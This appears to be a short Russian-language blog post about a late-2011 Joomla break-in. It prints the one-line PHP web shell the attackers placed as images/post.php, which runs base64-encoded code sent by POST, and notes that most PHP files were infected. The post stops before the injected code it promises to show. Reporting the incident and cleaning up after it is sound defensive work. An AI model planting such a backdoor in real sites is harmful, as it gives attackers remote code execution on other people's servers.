base64

Взлом Joomla, внедрение бекдора и очистка от кода

Опубликовано чт, 01/26/2012 - 16:30 пользователем mef

В конце 2011 года в Joomla была некая уязвимость, которая позволила злоумышленникам положить в директорию images бекдор - файл post.php, следующего содержания

<?php eval(base64_decode($_POST["php"])); ?>

После чего основная масса файлов с расширением php (причем, заражалось все без разбору, включая configuration.php.

Код, который помещался в файл таков:

Метки: 
joomla
base64
бекдор
взлом
Подписаться на RSS - base64